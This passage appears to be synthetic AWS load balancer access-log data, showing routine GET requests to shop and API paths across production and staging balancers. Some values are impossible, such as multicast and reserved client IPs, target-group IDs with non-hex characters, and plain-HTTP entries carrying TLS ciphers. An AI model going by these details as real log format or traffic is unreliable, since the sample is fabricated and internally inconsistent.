Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c29c-a92901b6fe664852930066be" "staging-alb.example.com" "-" 10 2024-11-01T00:47:08.753490Z "forward" "-" "-" "114.154.54.70:443" "200" "-" "-" -http 2024-11-01T00:47:09.892806Z staging-alb 118.203.239.136:32374 103.206.133.10:443 0.111079 0.679919 0.133084 301 301 199 422 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c29d-19d96c4471594907bda04f4f" "staging-alb.example.com" "-" 1 2024-11-01T00:47:09.892806Z "forward" "-" "-" "103.206.133.10:443" "301" "-" "-" -https 2024-11-01T00:47:11.165783Z prod-api-alb 112.187.24.33:34520 10.0.80.139:443 0.010294 0.432577 0.020123 200 200 608 12179 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c29f-6a485cb29191444184a84fa1" "prod-api-alb.example.com" "-" 1 2024-11-01T00:47:11.165783Z "forward" "-" "-" "10.0.80.139:443" "200" "-" "-" -https 2024-11-01T00:47:12.615424Z prod-web-alb 174.31.127.177:43376 10.0.250.185:443 0.054159 0.005405 0.020706 301 301 424 13869 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a0-647d2fdd80924851b7de194a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:47:12.615424Z "forward" "-" "-" "10.0.250.185:443" "301" "-" "-" -https 2024-11-01T00:47:12.825077Z prod-web-alb 239.158.127.234:15307 10.0.95.168:443 0.075801 0.158898 0.037647 404 404 453 7066 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a0-2df785923cc34dd68c9bbc79" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:12.825077Z "forward" "-" "-" "10.0.95.168:443" "404" "-" "-" -https 2024-11-01T00:47:13.075744Z prod-web-alb 17.215.84.21:61342 10.0.6.58:443 0.038413 0.159726 0.005899 200 200 757 11931 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a1-90dad7b0596a4a49bd2c4a7f" "prod-web-alb.example.com" "-" 10 2024-11-01T00:47:13.075744Z "forward" "-" "-" "10.0.6.58:443" "200" "-" "-" -https 2024-11-01T00:47:14.259139Z prod-web-alb 92.181.126.175:15916 10.0.15.197:443 0.037105 0.441502 0.099830 200 200 621 4070 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2a2-6aa1d0d92a524d949c26381c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:47:14.259139Z "forward" "-" "-" "10.0.15.197:443" "200" "-" "-" -https 2024-11-01T00:47:14.467265Z staging-alb 249.201.219.89:64312 121.241.97.117:443 0.104410 0.471365 0.016395 404 404 50 1834 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2a2-573fa22a9d1a4f26b1ab74e3" "staging-alb.example.com" "-" 2 2024-11-01T00:47:14.467265Z "forward" "-" "-" "121.241.97.117:443" "404" "-" "-" -https 2024-11-01T00:47:16.344020Z prod-api-alb 232.116.8.110:13705 10.0.122.53:443 0.002087 0.317873 0.018153 302 302 326 14550 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2a4-e4921b622fd6423a92bf74a4" "-" "-" 1 2024-11-01T00:47:16.344020Z "forward" "-" "-" "10.0.122.53:443" "302" "-" "-" -https 2024-11-01T00:47:16.982883Z prod-api-alb 151.194.60.105:32168 10.0.146.246:443 0.078922 0.305816 0.097736 200 200 486 1590 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2a4-8e094555c3b445d4a864bd36" "prod-api-alb.example.com" "-" 2 2024-11-01T00:47:16.982883Z "forward" "-" "-" "10.0.146.246:443" "200" "-" "-" -https 2024-11-01T00:47:17.568884Z prod-web-alb 191.247.64.174:27794 10.0.240.48:443 0.017194 0.163271 0.098695 404 404 16 1289 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a5-4dc65ff8e004410d942d0eee" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:17.568884Z "forward" "-" "-" "10.0.240.48:443" "404" "-" "-" -https 2024-11-01T00:47:17.795840Z prod-api-alb 10.196.100.130:22848 10.0.148.101:443 0.017370 0.159607 0.073417 404 404 730 2083 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2a5-ed1bfee1f3be4fe8a7470a43" "prod-api-alb.example.com" "-" 7 2024-11-01T00:47:17.795840Z "forward" "-" "-" "10.0.148.101:443" "404" "-" "-" -http 2024-11-01T00:47:18.344447Z staging-alb 51.241.146.20:11277 250.39.169.124:443 0.044264 0.345480 0.049899 200 200 226 9186 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2a6-736f254f78a54baeb57e208e" "staging-alb.example.com" "-" 9 2024-11-01T00:47:18.344447Z "forward" "-" "-" "250.39.169.124:443" "200" "-" "-" -https 2024-11-01T00:47:19.387670Z staging-alb 223.188.36.41:23383 112.231.186.163:8080 0.033140 0.421359 0.046487 200 200 971 1774 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2a7-ea61c77e9667472ab5506ecf" "staging-alb.example.com" "-" 8 2024-11-01T00:47:19.387670Z "forward" "-" "-" "112.231.186.163:8080" "200" "-" "-" -http 2024-11-01T00:47:19.856139Z staging-alb 9.209.246.118:46441 155.247.39.198:443 0.104430 0.066710 0.057749 200 200 143 8516 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2a7-f4e48aeb99d342e2b370578b" "staging-alb.example.com" "-" 0 2024-11-01T00:47:19.856139Z "forward" "-" "-" "155.247.39.198:443" "200" "-" "-" -https 2024-11-01T00:47:21.349938Z prod-api-alb 207.52.176.158:37039 10.0.23.52:443 0.034396 0.469967 0.085457 200 200 567 13553 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2a9-82674c3a5fca430f8c2788ae" "prod-api-alb.example.com" "-" 10 2024-11-01T00:47:21.349938Z "forward" "-" "-" "10.0.23.52:443" "200" "-" "-" -https 2024-11-01T00:47:21.482582Z prod-web-alb 202.88.33.252:43539 10.0.165.92:443 0.051339 0.035118 0.051242 200 200 479 13925 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a9-8c95dfb0fe1b492aa0a935dc" "prod-web-alb.example.com" "-" 10 2024-11-01T00:47:21.482582Z "forward" "-" "-" "10.0.165.92:443" "200" "-" "-" -https 2024-11-01T00:47:21.774792Z staging-alb 207.24.136.150:28939 93.212.185.66:8080 0.143034 0.295373 0.100478 301 301 424 3983 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2a9-6f9f40556c4f4313a12ac899" "staging-alb.example.com" "-" 7 2024-11-01T00:47:21.774792Z "forward" "-" "-" "93.212.185.66:8080" "301" "-" "-" -https 2024-11-01T00:47:22.733164Z prod-web-alb 171.225.223.52:51263 10.0.85.172:443 0.082029 0.377071 0.096730 301 301 383 10239 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2aa-c5eea7f1e45543f989841062" "prod-web-alb.example.com" "-" 10 2024-11-01T00:47:22.733164Z "forward" "-" "-" "10.0.85.172:443" "301" "-" "-" -https 2024-11-01T00:47:24.115407Z staging-alb 43.154.201.101:11971 80.137.227.212:443 0.025698 0.002702 0.105789 200 200 117 728 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ac-435b89fc2d8f413687514004" "staging-alb.example.com" "-" 2 2024-11-01T00:47:24.115407Z "forward" "-" "-" "80.137.227.212:443" "200" "-" "-" -https 2024-11-01T00:47:25.374567Z prod-api-alb 134.238.125.212:39451 10.0.51.241:443 0.097864 0.214230 0.094195 200 200 903 1066 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ad-9f163460e30c49c098c85fe6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:47:25.374567Z "forward" "-" "-" "10.0.51.241:443" "200" "-" "-" -https 2024-11-01T00:47:27.351939Z prod-api-alb 248.168.142.26:18125 10.0.41.109:443 0.075834 0.021928 0.097919 200 200 951 6052 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2af-95ac8ace8a744528b7e693ba" "prod-api-alb.example.com" "-" 6 2024-11-01T00:47:27.351939Z "forward" "-" "-" "10.0.41.109:443" "200" "-" "-" -https 2024-11-01T00:47:28.739633Z prod-web-alb 83.40.96.113:55983 10.0.203.213:443 0.017178 0.012268 0.005230 200 200 385 2113 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2b0-cf22ce4ccd1a472f8e122b9b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:47:28.739633Z "forward" "-" "-" "10.0.203.213:443" "200" "-" "-" -https 2024-11-01T00:47:29.182309Z prod-web-alb 129.235.136.154:55293 10.0.253.55:443 0.033095 0.088136 0.095920 200 200 867 1244 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2b1-846084b60039425ea741d605" "-" "-" 5 2024-11-01T00:47:29.182309Z "forward" "-" "-" "10.0.253.55:443" "200" "-" "-" -https 2024-11-01T00:47:30.032859Z prod-api-alb 3.144.41.62:22015 10.0.18.204:443 0.053587 0.253716 0.027796 200 200 634 1523 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2b2-7a056f777f7d4bf29d20691d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:47:30.032859Z "forward" "-" "-" "10.0.18.204:443" "200" "-" "-" -https 2024-11-01T00:47:31.114352Z prod-web-alb 57.24.219.8:25699 10.0.220.237:443 0.005156 0.165669 0.036721 200 200 674 13421 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2b3-615a55e2013f4e4bb8aa94e6" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:31.114352Z "forward" "-" "-" "10.0.220.237:443" "200" "-" "-" -https 2024-11-01T00:47:31.348230Z prod-web-alb 16.121.152.159:20169 10.0.85.84:443 0.001350 0.091594 0.071834 200 200 629 10241 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2b3-5f1d79bdd9a5468da4f2e3a9" "prod-web-alb.example.com" "-" 8 2024-11-01T00:47:31.348230Z "forward" "-" "-" "10.0.85.84:443" "200" "-" "-" -https 2024-11-01T00:47:31.735844Z prod-api-alb 153.223.201.24:24337 10.0.117.111:443 0.011841 0.208872 0.032008 404 404 608 9079 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2b3-8ccbe140195a45b0a4e7050d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:47:31.735844Z "forward" "-" "-" "10.0.117.111:443" "404" "-" "-" -https 2024-11-01T00:47:32.553777Z prod-web-alb 78.38.196.171:34901 10.0.57.234:443 0.048239 0.195324 0.051197 301 301 302 8723 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2b4-64cfce12e0904b10b2937fe3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:47:32.553777Z "forward" "-" "-" "10.0.57.234:443" "301" "-" "-" -https 2024-11-01T00:47:33.396637Z prod-api-alb 54.98.186.23:54236 10.0.72.196:443 0.023180 0.104873 0.093799 200 200 198 11813 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2b5-20c96772e2da4b3e828822d9" "prod-api-alb.example.com" "-" 0 2024-11-01T00:47:33.396637Z "forward" "-" "-" "10.0.72.196:443" "200" "-" "-" -https 2024-11-01T00:47:33.827549Z staging-alb 5.143.251.230:22113 44.128.203.201:80 0.061870 0.362218 0.024376 301 301 673 10384 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2b5-302256ee3d4748d8994aa8a2" "staging-alb.example.com" "-" 9 2024-11-01T00:47:33.827549Z "forward" "-" "-" "44.128.203.201:80" "301" "-" "-" -https 2024-11-01T00:47:35.388355Z staging-alb 119.157.170.116:55911 212.137.170.213:8080 0.083594 0.055044 0.070321 200 200 376 2681 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2b7-184a2318dc564fb0b3ba34bc" "staging-alb.example.com" "-" 7 2024-11-01T00:47:35.388355Z "forward" "-" "-" "212.137.170.213:8080" "200" "-" "-" -http 2024-11-01T00:47:35.968969Z staging-alb 202.190.194.6:15868 160.169.95.196:80 0.059744 0.353513 0.098551 302 302 514 10069 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2b7-6855504d874f4cd0b3e502d8" "staging-alb.example.com" "-" 8 2024-11-01T00:47:35.968969Z "forward" "-" "-" "160.169.95.196:80" "302" "-" "-" -http 2024-11-01T00:47:36.993902Z staging-alb 253.213.61.221:35548 103.4.184.49:80 0.006514 0.286072 0.013251 200 200 304 12072 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2b8-952887a210724f9bb3b6edf3" "staging-alb.example.com" "-" 3 2024-11-01T00:47:36.993902Z "forward" "-" "-" "103.4.184.49:80" "200" "-" "-" -http 2024-11-01T00:47:38.360828Z staging-alb 13.6.26.57:11934 8.187.216.133:80 0.035159 0.481166 0.082875 302 302 841 5016 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ba-281abba86a5f4138b4daf4fa" "staging-alb.example.com" "-" 4 2024-11-01T00:47:38.360828Z "forward" "-" "-" "8.187.216.133:80" "302" "-" "-" -https 2024-11-01T00:47:40.231826Z prod-api-alb 255.218.204.3:32308 10.0.155.229:443 0.042158 0.192934 0.097829 200 200 990 8783 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2bc-a5fc186400ef4479b476a023" "prod-api-alb.example.com" "-" 5 2024-11-01T00:47:40.231826Z "forward" "-" "-" "10.0.155.229:443" "200" "-" "-" -http 2024-11-01T00:47:41.016974Z staging-alb 241.22.225.94:45800 131.206.19.22:80 0.103698 0.329166 0.136642 302 302 502 10813 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2bd-36296743c9e543478f5f4ba2" "staging-alb.example.com" "-" 5 2024-11-01T00:47:41.016974Z "forward" "-" "-" "131.206.19.22:80" "302" "-" "-" -https 2024-11-01T00:47:42.226083Z prod-api-alb 155.158.217.121:26261 10.0.144.12:443 0.096413 0.087274 0.069882 301 301 803 1790 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2be-f51359d029ef433aba4b9b58" "prod-api-alb.example.com" "-" 6 2024-11-01T00:47:42.226083Z "forward" "-" "-" "10.0.144.12:443" "301" "-" "-" -https 2024-11-01T00:47:44.207902Z staging-alb 222.144.215.251:19031 100.13.66.139:443 0.075560 0.507881 0.138422 200 200 163 10934 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2c0-fc9f34333ff4409c8d10279e" "staging-alb.example.com" "-" 2 2024-11-01T00:47:44.207902Z "forward" "-" "-" "100.13.66.139:443" "200" "-" "-" -https 2024-11-01T00:47:45.911739Z prod-web-alb 223.255.93.118:41542 10.0.245.131:443 0.029952 0.387556 0.066179 301 301 352 7818 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2c1-dad89cdc6dd04d16a673b51f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:47:45.911739Z "forward" "-" "-" "10.0.245.131:443" "301" "-" "-" -https 2024-11-01T00:47:47.383848Z prod-api-alb 96.78.50.71:16547 10.0.82.104:443 0.013826 0.281486 0.043824 200 200 99 7596 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2c3-4a9eafc772ab401c8311165c" "prod-api-alb.example.com" "-" 3 2024-11-01T00:47:47.383848Z "forward" "-" "-" "10.0.82.104:443" "200" "-" "-" -https 2024-11-01T00:47:47.665014Z staging-alb 224.80.154.241:51399 105.223.137.25:443 0.118648 0.692312 0.085997 200 200 830 13241 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2c3-faa7114a43cf494085f8fdf4" "staging-alb.example.com" "-" 5 2024-11-01T00:47:47.665014Z "forward" "-" "-" "105.223.137.25:443" "200" "-" "-" -https 2024-11-01T00:47:48.268733Z staging-alb 5.146.229.75:16749 111.205.196.161:443 0.042812 0.092819 0.085886 302 302 887 13790 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2c4-f34e9969e0144f4eb07dbb9c" "staging-alb.example.com" "-" 2 2024-11-01T00:47:48.268733Z "forward" "-" "-" "111.205.196.161:443" "302" "-" "-" -https 2024-11-01T00:47:49.766476Z staging-alb 206.142.221.60:14311 11.2.210.207:80 0.032085 0.016245 0.121414 200 200 520 7433 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2c5-6c6ae3266708457d868fd7de" "staging-alb.example.com" "-" 7 2024-11-01T00:47:49.766476Z "forward" "-" "-" "11.2.210.207:80" "200" "-" "-" -https 2024-11-01T00:47:51.324657Z prod-web-alb 43.219.234.179:54616 10.0.251.221:443 0.041284 0.421541 0.053331 200 200 309 9939 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2c7-ab6a524b7a754fbf99cc114a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:47:51.324657Z "forward" "-" "-" "10.0.251.221:443" "200" "-" "-" -https 2024-11-01T00:47:52.648086Z prod-api-alb 193.2.126.197:58365 10.0.1.71:443 0.047739 0.040019 0.071056 200 200 788 7204 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2c8-b60a18ae928b466abb91eada" "prod-api-alb.example.com" "-" 1 2024-11-01T00:47:52.648086Z "forward" "-" "-" "10.0.1.71:443" "200" "-" "-" -https 2024-11-01T00:47:52.855557Z prod-api-alb 128.81.73.118:59020 10.0.144.22:443 0.073761 0.494755 0.087541 200 200 754 13846 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2c8-73458bfbeb7a40e0822fb597" "prod-api-alb.example.com" "-" 0 2024-11-01T00:47:52.855557Z "forward" "-" "-" "10.0.144.22:443" "200" "-" "-" -https 2024-11-01T00:47:53.701222Z prod-api-alb 88.12.139.220:17445 10.0.227.16:443 0.001461 0.096846 0.082325 200 200 459 6616 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2c9-72668dc7e3fe497086722506" "prod-api-alb.example.com" "-" 5 2024-11-01T00:47:53.701222Z "forward" "-" "-" "10.0.227.16:443" "200" "-" "-" -https 2024-11-01T00:47:54.153759Z prod-api-alb 54.53.75.178:31960 10.0.69.29:443 0.009411 0.067405 0.098951 301 301 886 12412 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 